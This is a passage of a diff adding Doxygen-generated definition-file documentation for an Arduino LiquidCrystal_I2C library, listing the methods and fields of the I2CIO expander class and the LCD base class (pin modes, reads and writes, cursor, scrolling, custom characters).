+_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a6f814653d903dc2ff6e8420eeb7954ae'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'i2cAddr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '63'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a53b94274eb6bb68564cf5243323db887'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pinMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '73'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + @param pin: Pin from the I2C IO expander to be configured. Range 0..7 + @param dir: Pin direction (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a0341888753bc54c4384f5593a870fb34'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'portMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir: Direction of all the pins of the device (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a7a3db7bfc15ede0ae9e8c8bd44290ef7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'read'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ac26221011a8b49bcea9ef62712ea88a7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalRead'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '106'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + @param pin: Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ae2063569c927d0008e2593d14504fdcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '120'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + @param value: value to be written to the device. + @result 1 on success, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a473206162522b847546777d16a7c6dcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalWrite'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'level'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '132'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + @param pin: device pin to change level. Range (0..7). + @para level: logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1abcd6f7f5f176f965d8ae535afa9f6cec'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_shadow'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '137'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a283a99ef1c6f58fa8a0489089cba9682'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_dirMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '138'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1ade58da873af4240a53053ef5f12a2728'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cAddr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '139'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a8c566f3fd332eefe4db57cbe6b69337c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +bool +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_initialised'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '140'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + cp-fileline = '44'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_l_c_d'; + cp-name = 'LCD'; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___i2_c'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a00bb2db1390721abc7b24ac4b8c276c8'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LCD'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '104'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a5b7aee49867828a0160a142b9109c07a'; + sec-mem-virt = pure-virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '120'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is pure abstract, it is dependent on each derived class from + this base class to implement the internals of how the LCD is initialized + and configured. + + @param cols the number of columns that the display has + @param rows the number of rows that the display has +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1afa699e0beeeee03cce8cef87eba81c4a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'clear'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '132'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aee45ad37f09312f5d9982257e2d37e68'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'home'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1af3974da6d988ba2d21c25135ada12108'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noDisplay'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a5b07cf05e8e5e7c53654f5ca0cf58b89'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'display'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '166'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3b755c4b397b5985752be8c30ee1a9b5'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBlink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '174'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a878b36878fa8287093964eba83aace77'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'blink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '184'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aec8ffaa1e69c7a6e13ac0cfbc29151d9'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noCursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Hides the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a194814f64dfa50a90e07e0fe0d361620'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'cursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '202'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a6f3a503055b3b8dcf0f61b2633c584f7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '211'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abfc44b294772f09020bfa32af8a79571'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '220'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a238e9f6476dc7df64af04eb6c87f6ac7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'leftToRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '233'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1ac014830eadc26bfd86308ea8734f4428'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'rightToLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '246'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abb3ed88d530f6283e6159b4973e7da9e'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'autoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '261'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a96035dde40efbf73390e00b5beb00231'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noAutoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '271'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a91cba8f93c692abcddf8bc3de58d2d3a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'createChar'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'location'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charmap'; + sec-mem-param-array = '[]'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '289'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location: LCD memory location of the character to create + (0 to 7) + @param charmap: the bitmap array representing each row of the character. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a48220450fd152b25994eb7d0ba340e8d'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setCursor'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'col'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'row'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '300'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col LCD column + @param row LCD row - line. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a31a0cb42497d83cdc9cb8000828f7190'; + sec-mem-virt = normal; + sec-mem-prot = public; + 